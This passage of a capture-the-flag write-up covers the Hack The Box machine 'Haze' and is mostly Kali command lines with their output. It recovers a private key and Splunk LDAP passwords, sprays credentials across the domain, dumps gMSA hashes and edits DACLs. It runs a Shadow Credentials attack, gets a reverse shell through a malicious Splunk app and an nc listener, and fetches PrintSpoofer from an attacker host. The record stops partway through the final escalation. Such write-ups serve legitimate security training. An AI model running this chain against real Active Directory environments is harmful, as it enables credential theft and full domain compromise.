conf_replication_summary.excludelist.lookup_index = (system|(apps\*)|users(\_reserved)?\*\*)\lookups\*.(tmp$|index($|\...))

conf_replication_summary.concerning_file_size = 50
conf_replication_summary.period = 1m

conf_replication_purge.eligibile_count = 20000
conf_replication_purge.eligibile_age = 1d
conf_replication_purge.period = 1h
conf_replication_find_baseline.use_bloomfilter_only = false

#
# Deploy configurations to search head cluster members.
#

conf_deploy_repository = $SPLUNK_HOME\etc\shcluster
conf_deploy_staging = $SPLUNK_HOME\var\run\splunk\deploy
conf_deploy_concerning_file_size = 50
conf_deploy_precompress_bundles = true

conf_deploy_fetch_url =
conf_deploy_fetch_mode = replace

artifact_status_fields = user, eai:acl.app , label

jobs_data_lite.enabled = true
jobs_data_lite.search_field_len = 100
jobs_data_lite.default_field_len = 1000000
jobs_data_lite.max_status_size_per_hb = 700

retry_autosummarize_or_data_model_acceleration_jobs = true
deployerPushThreads = 1
allow_concurrent_dispatch_savedsearch = true

[kvstore]

disabled = false

port = 8191
replicaset = splunkrs
sslVerifyServerCert = false
sslVerifyServerName = false

storageEngine=wiredTiger

storageEngineMigration = false
shutdownTimeout = 100
initAttempts = 300
initialSyncMaxFetcherRestarts = 0
delayShutdownOnBackupRestoreInProgress = false
oplogSize = 1000
dbPath = $SPLUNK_DB\kvstore
replicationWriteTimeout = 1800
clientConnectionTimeout = 10
clientSocketTimeout = 300
percRAMForCache = 15
clientConnectionPoolSize = 500



[cachemanager]
eviction_policy = lru
eviction_padding = 5120
max_cache_size = 0
hotlist_recency_secs = 86400
hotlist_bloom_filter_recency_hours = 360
evict_on_stable = false
batch_registration = true

[imds]
imds_version = v1

#
# Raft statemachine stanza
#
[raft_statemachine]
disabled = true
replicate_search_peers = false


[prometheus]
disabled = true

# Watchdog configuration
[watchdog]
disabled = false
responseTimeout = 8
actions =
actionsInterval = 1
pstacksEndpoint = true
usePreloadedPstacks = true

[watchdog:DispatchReaper]
responseTimeout = 30

[watchdog:SearchProcessReaper]
responseTimeout = 30

[watchdogaction:pstacks]
dumpAllThreads = true
stacksBufferSizeOrder = 14
maxStacksPerBlock = 60
batchStacksThreshold = auto

[watchdogaction:script]
path = ""
useShell = false
forceStop = false
forceStopOnShutdown = true

[node_auth]
signatureVersion = v1,v2

[federated_search]
disabled=false
transparent_mode=true
whole_search_execution_optimization=false

[app_backup]
backup_path = $SPLUNK_HOME\var\backup

[config_change_tracker]
disabled = false
mode=auto
log_throttling_disabled = true
log_throttling_threshold_ms = 10000


[distributed_leases]
sslVerifyServerCert = false
sslVerifyServerName = false
disabled = true


[search_state]
alert_store = local
suppression_store = local




[manager_pages]
sanitize_uri_param = true

[localProxy]
max_concurrent_requests = 10
response_timeout_ms = 600000
```

Key values extracted:

```ini
[general]
pass4SymmKey = changeme    # used for Splunk cluster auth

[sslConfig]
sslPassword = password     # passphrase for server.pem
```

The `sslPassword = password` value means the private key in `server.pem` can be extracted:

```bash
┌──(kali㉿kali)-[~/Documents/haze]
└─$ openssl rsa -in server.pem
Enter pass phrase for server.pem:
writing RSA key
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDdI67D38rTtxBP
Sn6Br0WNYLMjQ6z8xXCmM6U9D+jW4D9VKg2LB5ehsPdUEueCp8ZCUANUZFaQZ0Pf
FL2Y6SeH2vgO63rMPJR0q+CtklWhfsSJGweFcCv0dGCpaPuSFAvPef1+PHF0mRe0
Zlo12idYQ1J5v3cd+JgaNJZAkx811N3aUwYwMwLgl3J0TIYQdEAw2dnL/MI5I/3v
Ik5JIFuvohnHJkb3fhtsQf132vSD8jiugOXNkUUGUaLnjaz7VAnv0VEhSt9mHjU9
/GsSUhOQXIoInJTmB88oi/HAMdyUT7Nj+O7aVwcky2BY28XqzRL2JzmjGDT5HLeq
eC3B3jJRAgMBAAECggEBAL484yy4Sill887ye/Aekwvzo0f0AU4WoDkqdr0YAatQ
kMs3+RygdG5x6eNWu/jnUiRb5vFjvCBP5dB0bEKuWQaDdiCHrUUj3GaeMhO/rpDW
mEaGjSra+8U5lKpImRrqydo7zLobT1MKHJ1h67smJ/DDQaFg+B09bcQldxioOBI6
qrCcFQh06tKV2/lDxUERUuPO7SUvVF8mr0L2VRYqGAbIMQnkKU4GsAYAApXbKLiU
xYWaMMNv2H1vY5OczSECA82ClKcmja77PvzJkKXKMffDf0j+i1Fad2rvxCqwGRk3
/mBTFps5JSbCvr2wWuiGtimp59MTzL358yY7EXrEK8ECgYEA+PceHJwVB8QW1Qg8
z0ql+TtLa5Bt5hFWKVwulohxWJ/r1eysABBGlHga2D7DJGbXud5hWVLuwk8y/a8q
VBK0j92h6oBoGge4pF875sTg7lqkb87vL3IbIB/5F/nS3krGwm0kc1hZOWA82G/P
ITbJ91XKhW9PdLxQh40exMoNVvkCgYEA42NJhQy0Y+dgr86M3xOfIsdATIybewhF
7hEuQ+v4I5dsYS+bEamj+hpKQrAu3QrPs1Vii4pygbXmGHHr6hyq87kYTTckIEC/
DdpJN5J6va6fSGNqi/aEGCYYrsgQRIV1RdZjn6xLL0VIDpcLQE8S+82yNk1sNAfl
NOUqjST/VBkCgYA8mmLhEfloj4oDR2MODpzCQ3XDdD/cPiIcJU1N5V659QvCYj8o
MM4NfAME2ppD9SjUHNbTmIV4FTFTYV1LY9ZCIvA0FhfBJloC4Q/Cx+/89WGLufKt
OPhzZHUNKgnzhH5He6vgzAPEHLIS+XyRGDYnl+GZg5Py1ZhAttBjlM+UeQKBgQDN
siJutnh0q3k+cHXk0qYxWteip8t6t5gy7N3SWaLl53QGUn9PsgsBE0k8HI64LLCJ
BOOZYYuGJRtZ36xO4tIOmdEPAKOwfYGXMXDsUZixAEdcv3pB1KXYBpZrfdWhdq0I
mRET/1MgFudBM4fdC+sbWA8vqkgIpV/Fws0EU4SZ+QKBgCNr9ZZqzVK0KgHHASdQ
sgaxnWWIUMJqwnD5L/+ObqzJWGvmohtM9A7tMDNHN9HW0x8msJ5DNWyrEFTJxfeK
xlQHQMRRyqnSnvG5aZxGWEpoF4Q++6iDuNev8HdrV4YEnfKGSUMCLizn82lscoEn
QTrQsYqGk1X4lbfZINuLVp4B
-----END PRIVATE KEY-----
```

***

### Decrypting the LDAP Bind Password

With the `splunk.secret` file and the `$7$`-encrypted `bindDNpassword`, the `splunksecrets` tool can reverse the encryption:

```
┌──(kali㉿kali)-[~/Documents/haze]
└─$ splunksecrets splunk-decrypt --splunk-secret secret.txt
Ciphertext: $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
Ld@p_Auth_Sp1unk@2k24
```

**Recovered credential:** `paul.taylor : Ld@p_Auth_Sp1unk@2k24`

***

### Initial Access — paul.taylor / mark.adams

Validating the credential against multiple protocols:

```bash
┌──(kali㉿kali)-[~/Documents/haze]
└─$ nxc winrm haze.htb -u paul.taylor -p Ld@p_Auth_Sp1unk@2k24
WINRM       10.129.232.50   5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb) 
WINRM       10.129.232.50   5985   DC01             [-] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24


┌──(kali㉿kali)-[~/Documents/haze]
└─$ nxc ldap haze.htb -u paul.taylor -p Ld@p_Auth_Sp1unk@2k24
LDAP        10.129.232.50   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb) (signing:None) (channel binding:Never) 
LDAP        10.129.232.50   389    DC01             [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24


┌──(kali㉿kali)-[~/Documents/haze]
└─$ nxc smb haze.htb -u paul.taylor -p Ld@p_Auth_Sp1unk@2k24 --shares
SMB         10.129.232.50   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.50   445    DC01             [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24 
SMB         10.129.232.50   445    DC01             [*] Enumerated shares
SMB         10.129.232.50   445    DC01             Share           Permissions     Remark
SMB         10.129.232.50   445    DC01             -----           -----------     ------
SMB         10.129.232.50   445    DC01             ADMIN$                          Remote Admin
SMB         10.129.232.50   445    DC01             C$                              Default share
SMB         10.129.232.50   445    DC01             IPC$            READ            Remote IPC
SMB         10.129.232.50   445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.232.50   445    DC01             SYSVOL          READ            Logon server share 
```

`paul.taylor` authenticates over LDAP but does not have WinRM access.

Password spraying the recovered password against all domain users discovered via RID brute-force reveals **a second match**:

```bash
┌──(kali㉿kali)-[~/Documents/haze]
└─$ nxc smb haze.htb -u paul.taylor -p Ld@p_Auth_Sp1unk@2k24 --rid-brute
SMB         10.129.232.50   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.50   445    DC01             [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24 
SMB         10.129.232.50   445    DC01             498: HAZE\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.232.50   445    DC01             500: HAZE\Administrator (SidTypeUser)
SMB         10.129.232.50   445    DC01             501: HAZE\Guest (SidTypeUser)
SMB         10.129.232.50   445    DC01             502: HAZE\krbtgt (SidTypeUser)
SMB         10.129.232.50   445    DC01             512: HAZE\Domain Admins (SidTypeGroup)
SMB         10.129.232.50   445    DC01             513: HAZE\Domain Users (SidTypeGroup)
SMB         10.129.232.50   445    DC01             514: HAZE\Domain Guests (SidTypeGroup)
SMB         10.129.232.50   445    DC01             515: HAZE\Domain Computers (SidTypeGroup)
SMB         10.129.232.50   445    DC01             516: HAZE\Domain Controllers (SidTypeGroup)
SMB         10.129.232.50   445    DC01             517: HAZE\Cert Publishers (SidTypeAlias)
SMB         10.129.232.50   445    DC01             518: HAZE\Schema Admins (SidTypeGroup)
SMB         10.129.232.50   445    DC01             519: HAZE\Enterprise Admins (SidTypeGroup)
SMB         10.129.232.50   445    DC01             520: HAZE\Group Policy Creator Owners (SidTypeGroup)
SMB         10.129.232.50   445    DC01             521: HAZE\Read-only Domain Controllers (SidTypeGroup)
SMB         10.129.232.50   445    DC01             522: HAZE\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.129.232.50   445    DC01             525: HAZE\Protected Users (SidTypeGroup)
SMB         10.129.232.50   445    DC01             526: HAZE\Key Admins (SidTypeGroup)
SMB         10.129.232.50   445    DC01             527: HAZE\Enterprise Key Admins (SidTypeGroup)
SMB         10.129.232.50   445    DC01             553: HAZE\RAS and IAS Servers (SidTypeAlias)
SMB         10.129.232.50   445    DC01             571: HAZE\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.129.232.50   445    DC01             572: HAZE\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.129.232.50   445    DC01             1000: HAZE\DC01$ (SidTypeUser)
SMB         10.129.232.50   445    DC01             1101: HAZE\DnsAdmins (SidTypeAlias)
SMB         10.129.232.50   445    DC01             1102: HAZE\DnsUpdateProxy (SidTypeGroup)
SMB         10.129.232.50   445    DC01             1103: HAZE\paul.taylor (SidTypeUser)
SMB         10.129.232.50   445    DC01             1104: HAZE\mark.adams (SidTypeUser)
SMB         10.129.232.50   445    DC01             1105: HAZE\edward.martin (SidTypeUser)
SMB         10.129.232.50   445    DC01             1106: HAZE\alexander.green (SidTypeUser)
SMB         10.129.232.50   445    DC01             1107: HAZE\gMSA_Managers (SidTypeGroup)
SMB         10.129.232.50   445    DC01             1108: HAZE\Splunk_Admins (SidTypeGroup)
SMB         10.129.232.50   445    DC01             1109: HAZE\Backup_Reviewers (SidTypeGroup)
SMB         10.129.232.50   445    DC01             1110: HAZE\Splunk_LDAP_Auth (SidTypeGroup)
SMB         10.129.232.50   445    DC01             1111: HAZE\Haze-IT-Backup$ (SidTypeUser)
SMB         10.129.232.50   445    DC01             1112: HAZE\Support_Services (SidTypeGroup)
```

```bash
┌──(kali㉿kali)-[~/Documents/haze]
└─$ nxc smb haze.htb -u users.txt -p Ld@p_Auth_Sp1unk@2k24 --no-brute --continue-on-success
SMB         10.129.232.50   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:haze.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.232.50   445    DC01             [-] haze.htb\Administrator:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE 
SMB         10.129.232.50   445    DC01             [-] haze.htb\Guest:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE 
SMB         10.129.232.50   445    DC01             [-] haze.htb\krbtgt:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE 
SMB         10.129.232.50   445    DC01             [-] haze.htb\DC01$:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE 
SMB         10.129.232.50   445    DC01             [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24 
SMB         10.129.232.50   445    DC01             [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24 
SMB         10.129.232.50   445    DC01             [-] haze.htb\edward.martin:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE 
SMB         10.129.232.50   445    DC01             [-] haze.htb\alexander.green:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE 
SMB         10.129.232.50   445    DC01             [-] haze.htb\Haze-IT-Backup$:Ld@p_Auth_Sp1unk@2k24 STATUS_LOGON_FAILURE 
```

**`mark.adams`** also uses this password and, unlike Paul, has WinRM access:

```bash
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i haze.htb -u mark.adams -p Ld@p_Auth_Sp1unk@2k24

*Evil-WinRM* PS C:\Users> whoami /all
USER INFORMATION
----------------
User Name       SID
=============== ===========================================
haze\mark.adams S-1-5-21-323145914-28650650-2368316563-1104


GROUP INFORMATION
-----------------
Group Name                                  Type             SID                                         Attributes
=========================================== ================ =========================================== ==================================================
Everyone                                    Well-known group S-1-1-0                                     Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580                                Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545                                Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554                                Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access     Alias            S-1-5-32-574                                Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11                                    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15                                    Mandatory group, Enabled by default, Enabled group
HAZE\gMSA_Managers                          Group            S-1-5-21-323145914-28650650-2368316563-1107 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10                                 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------
User claims unknown.
```

#### mark.adams Group Membership

```
HAZE\gMSA_Managers
BUILTIN\Remote Management Users
```

Membership in `gMSA_Managers` is significant — it may grant the ability to interact with Group Managed Service Accounts (gMSAs).

***

### Privilege Escalation — gMSA Abuse

#### Discovering the gMSA

```bash
┌──(kali㉿kali)-[~]
└─$ python3 /home/kali/Documents/pirate/gMSADumper/gMSADumper.py -d haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24'
Users or groups who can read password for Haze-IT-Backup$:
 > Domain Admins
```

The gMSA `Haze-IT-Backup$` exists, but initially only **Domain Admins** can read its password. However, `mark.adams` has **WRITE** permission on the `Haze-IT-Backup` object (confirmed via `bloodyAD`):

```bash
┌──(kali㉿kali)-[~]
└─$ bloodyAD --host dc01.haze.htb -d haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=haze,DC=htb
permission: WRITE

distinguishedName: CN=Mark Adams,CN=Users,DC=haze,DC=htb
permission: WRITE

distinguishedName: CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
permission: WRITE
```

only Domain Admins can read the gMSA password

```bash
┌──(kali㉿kali)-[~]
└─$ python3 /home/kali/Documents/pirate/gMSADumper/gMSADumper.py -d haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24'                                    
Users or groups who can read password for Haze-IT-Backup$:
 > Domain Admins
```

#### Adding mark.adams to the gMSA ACL

The `msDS-GroupMSAMembership` attribute controls which principals can retrieve the gMSA password. Since `mark.adams` can write to the `Haze-IT-Backup$` object, we can add ourselves:

```bash
*Evil-WinRM* PS C:\Program Files\Splunk> Set-ADServiceAccount -Identity 'Haze-IT-Backup$' -PrincipalsAllowedToRetrieveManagedPassword "mark.adams"
```

#### Dumping the gMSA Hash

```bash
┌──(kali㉿kali)-[~]
└─$ python3 /home/kali/Documents/pirate/gMSADumper/gMSADumper.py -d haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' -l dc01.haze.htb
Users or groups who can read password for Haze-IT-Backup$:
 > mark.adams
Haze-IT-Backup$:::4698be2343a63e5d65b330c95f0834a5
Haze-IT-Backup$:aes256-cts-hmac-sha1-96:6c6a9b0a5079ca422454c7e789510347386dc987ea03f40b3e6904f49340f650
Haze-IT-Backup$:aes128-cts-hmac-sha1-96:010b22d307a98abbe6d9797bda2cfc93
```

**NT hash:** `4698be2343a63e5d65b330c95f0834a5`

***

### Lateral Movement — Support\_Services → edward.martin

#### WriteOwner on Support\_Services

With the gMSA NT hash, further enumeration shows `Haze-IT-Backup$` has **WriteOwner** on the `Support_Services` group:

```bash
┌──(kali㉿kali)-[~]
└─$ bloodyAD \
--host 10.129.232.50 -d haze.htb -u Haze-IT-Backup$ -p :4698be2343a63e5d65b330c95f0834a5 get writable

distinguishedName: CN=TPM Devices,DC=haze,DC=htb
permission: CREATE_CHILD

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=haze,DC=htb
permission: WRITE

distinguishedName: CN=Edward Martin,CN=Users,DC=haze,DC=htb
permission: WRITE

distinguishedName: CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
permission: WRITE

distinguishedName: CN=Support_Services,CN=Users,DC=haze,DC=htb
permission: CREATE_CHILD; WRITE
OWNER: WRITE
DACL: WRITE
```

**Attack plan:**

1. Set `Haze-IT-Backup$` as the owner of `Support_Services`
2. Grant `Haze-IT-Backup$` full DACL control over the group
3. Add `Haze-IT-Backup$` to `Support_Services`
4. Use the `WRITE` permission on `edward.martin` (who is in `Support_Services`) to execute a Shadow Credentials attack

#### Executing the Privilege Chain

**Step 1 — Take ownership:**

```bash
┌──(kali㉿kali)-[~]
└─$ bloodyAD --host 10.129.232.50 -d haze.htb -u Haze-IT-Backup$ -p :4698be2343a63e5d65b330c95f0834a5 set owner support_services Haze-IT-Backup$
[+] Old owner S-1-5-21-323145914-28650650-2368316563-512 is now replaced by Haze-IT-Backup$ on support_services
```

**Step 2 — Grant full DACL:**

```bash
┌──(kali㉿kali)-[~]
└─$ impacket-dacledit -hashes :4698be2343a63e5d65b330c95f0834a5 haze.htb/Haze-IT-Backup$ -target-dn "CN=Support_Services,CN=Users,DC=haze,DC=htb" -principal Haze-IT-Backup$ -action write -rights FullControl -dc-ip 10.129.232.50
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] DACL backed up to dacledit-20260324-180026.bak
[*] DACL modified successfully!
```

**Step 3 — Join the group:**

```bash
┌──(kali㉿kali)-[~]
└─$ bloodyAD --host 10.129.232.50 -d haze.htb -u Haze-IT-Backup$ -p :4698be2343a63e5d65b330c95f0834a5 add groupMember Support_Services Haze-IT-Backup$
[+] Haze-IT-Backup$ added to Support_Services
```

#### Shadow Credentials on edward.martin

The WRITE permission on `edward.martin`'s AD object allows writing to the `msDS-KeyCredentialLink` attribute — enabling a Shadow Credentials attack to obtain that user's NT hash without knowing their password.

```bash
┌──(kali㉿kali)-[~]
└─$ certipy shadow auto \     
-u 'Haze-IT-Backup$' \
-hashes :4698be2343a63e5d65b330c95f0834a5 \
-account edward.martin \
-dc-ip 10.129.232.50
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting user 'edward.martin'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '23161ae0435844ef9258211439cbec4e'
[*] Adding Key Credential with device ID '23161ae0435844ef9258211439cbec4e' to the Key Credentials for 'edward.martin'
[*] Successfully added Key Credential with device ID '23161ae0435844ef9258211439cbec4e' to the Key Credentials for 'edward.martin'
[*] Authenticating as 'edward.martin' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'edward.martin@haze.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'edward.martin.ccache'
[*] Wrote credential cache to 'edward.martin.ccache'
[*] Trying to retrieve NT hash for 'edward.martin'
[*] Restoring the old Key Credentials for 'edward.martin'
[*] Successfully restored the old Key Credentials for 'edward.martin'
[*] NT hash for 'edward.martin': 09e0b3eeb2e7a6b0d419e9ff8f4d91af
```

#### Shell as edward.martin — User Flag

```bash
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 10.129.232.50 -u 'edward.martin' -H 09e0b3eeb2e7a6b0d419e9ff8f4d91af

*Evil-WinRM* PS C:\Users\edward.martin\Documents> type ..\Desktop\user.txt
e56xxxxxxxxxxxxxxxxxxxxxxxx5a74
```

### Privilege Escalation to SYSTEM — Splunk Backup Analysis

#### Finding the Backup Archive

```bash
*Evil-WinRM* PS C:\Users\edward.martin\Documents> cd C:\Backups\Splunk


*Evil-WinRM* PS C:\Backups\Splunk> download splunk_backup_2024-08-06.zip

Info: Downloading C:\Backups\Splunk\splunk_backup_2024-08-06.zip to splunk_backup_2024-08-06.zip
 
Info: Download successful!
```

#### Extracting Credentials from the Backup

```bash
┌──(kali㉿kali)-[~/Documents/haze/Splunk]
└─$ ls
bin  cmake  copyright.txt  etc  lib  license-eula.rtf  license-eula.txt  openssl.cnf  opt  Python-3.7  quarantined_files  README-splunk.txt  share  splunk-9.2.1-78803f08aabb-windows-64-manifest  swidtag  var

┌──(kali㉿kali)-[~/Documents/haze/Splunk]
└─$ cat etc/passwd
:admin:$6$8FRibWS3pDNoVWHU$vTW2NYea7GiZoN0nE6asP6xQsec44MlcK2ZehY5RC4xeTAz4kVVcbCkQ9xBI2c7A8VPmajczPOBjcVgccXbr9/::Administrator:admin:changeme@example.com:::19934


┌──(kali㉿kali)-[~/Documents/haze/Splunk]
└─$ cat etc/system/local/authentication.conf 2>/dev/null


┌──(kali㉿kali)-[~/Documents/haze/Splunk]
└─$ echo '$6$8FRibWS3pDNoVWHU$vTW2NYea7GiZoN0nE6asP6xQsec44MlcK2ZehY5RC4xeTAz4kVVcbCkQ9xBI2c7A8VPmajczPOBjcVgccXbr9/' > hash.txt
```

cracking this hash was taking too much time, so probably this wasn't it

```bash
┌──(kali㉿kali)-[~/Documents/haze/Splunk]
└─$ john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:04:42 12.88% (ETA: 22:24:50) 0g/s 7200p/s 7200c/s 7200C/s arema12..arcfamily
0g 0:00:06:57 18.74% (ETA: 22:25:25) 0g/s 6961p/s 6961c/s 6961C/s vfcorreo..vevhac4q
0g 0:00:08:53 23.81% (ETA: 22:25:40) 0g/s 6753p/s 6753c/s 6753C/s sp-163windows..soyunbandolero
Session aborted
```

The backup contains the Splunk configuration snapshot. Notably:\
**`var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf`:**

```bash
┌──(kali㉿kali)-[~/Documents/haze/Splunk]
└─$ cat var/run/splunk/confsnapshot/baseline_local/system/local/authentication.conf
[default]

minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0


[Haze LDAP Auth]

SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=alexander.green,CN=Users,DC=haze,DC=htb
bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_Admins,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname

[authentication]
authSettings = Haze LDAP Auth
authType = LDAP                                                              
```

This is a different (older) LDAP bind configuration using `alexander.green` and a `$1$`-encrypted password.

**`etc/auth/splunk.secret`** (from the backup):

```bash
┌──(kali㉿kali)-[~/Documents/haze/Splunk]
└─$ cat etc/auth/splunk.secret
CgL8i4HvEen3cCYOYZDBkuATi5WQuORBw9g4zp4pv5mpMcMF3sWKtaCWTX8Kc1BK3pb9HR13oJqHpvYLUZ.gIJIuYZCA/YNwbbI4fDkbpGD.8yX/8VPVTG22V5G5rDxO5qNzXSQIz3NBtFE6oPhVLAVOJ0EgCYGjuk.fgspXYUc9F24Q6P/QGB/XP8sLZ2h00FQYRmxaSUTAroHHz8fYIsChsea7GBRaolimfQLD7yWGefscTbuXOMJOrzr/6B 
```

This is a different Splunk secret from an earlier time. Decrypting the `$1$` password with it:

```bash
┌──(kali㉿kali)-[~/Documents/haze/Splunk]
└─$ splunksecrets splunk-decrypt --splunk-secret etc/auth/splunk.secret                              
Ciphertext: $1$YDz8WfhoCWmf6aTRkA+QqUI=
Sp1unkadmin@2k24
```

**Recovered credential:** `alexander.green : Sp1unkadmin@2k24` (valid against Splunk's web UI as admin)

#### Getting a Reverse Shell via Splunk

`alexander.green` is a member of `Splunk_Admins` and Splunk runs as a high-privilege service account with `SeImpersonatePrivilege`. A malicious Splunk app (Python reverse shell) is packaged and uploaded via the Splunk web interface following the technique at <https://github.com/0xjpuff/reverse_shell_splunk>.

**Listener:**

```bash
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8889
```

After deploying the app and triggering execution, a shell is received:

```bash
listening on [any] 8889 ...
connect to [10.10.16.5] from (UNKNOWN) [10.129.232.50] 64942

PS C:\Windows\system32> whoami /all

USER INFORMATION
----------------

User Name            SID                                        
==================== ===========================================
haze\alexander.green S-1-5-21-323145914-28650650-2368316563-1106


GROUP INFORMATION
-----------------
Group Name                                 Type             SID                                         Attributes                                        
========================================== ================ =========================================== ==================================================
Everyone                                   Well-known group S-1-1-0                                     Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access    Alias            S-1-5-32-574                                Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6                                     Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1                                     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                    Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0                                     Mandatory group, Enabled by default, Enabled group
HAZE\Splunk_Admins                         Group            S-1-5-21-323145914-28650650-2368316563-1108 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288                                                                                  


PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State   
============================= ========================================= ========
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
```

Token privileges confirm `SeImpersonatePrivilege` is enabled.

***

### Root Flag — PrintSpoofer

With `SeImpersonatePrivilege`, token impersonation can escalate to SYSTEM. `PrintSpoofer64.exe` is uploaded and executed:

```
PS C:\Windows\system32> iwr "http://10.10.16.5/PrintSpoofer64.exe" -OutFile "C:\Users\alexander.green\PrintSpoofer64.exe"  
  
PS C:\Windows\system32> cd C:\Users\Alexander.Green                                                                                                                                                                                         
PS C:\Users\Alexander.Green> ls                                                    
    Directory: C:\Users\Alexander.Green
Mode                 LastWriteTime         Length Name                             
----                 -------------         ------ ----                             
d-r---          3/5/2025   5:51 PM                Desktop                   
d-r---          3/4/2025  11:46 PM                Documents                  
d-r---          5/8/2021   1:20 AM                Downloads                  
d-r---          5/8/2021   1:20 AM                Favorites                  
d-r---          5/8/2021   1:20 AM                Links                      
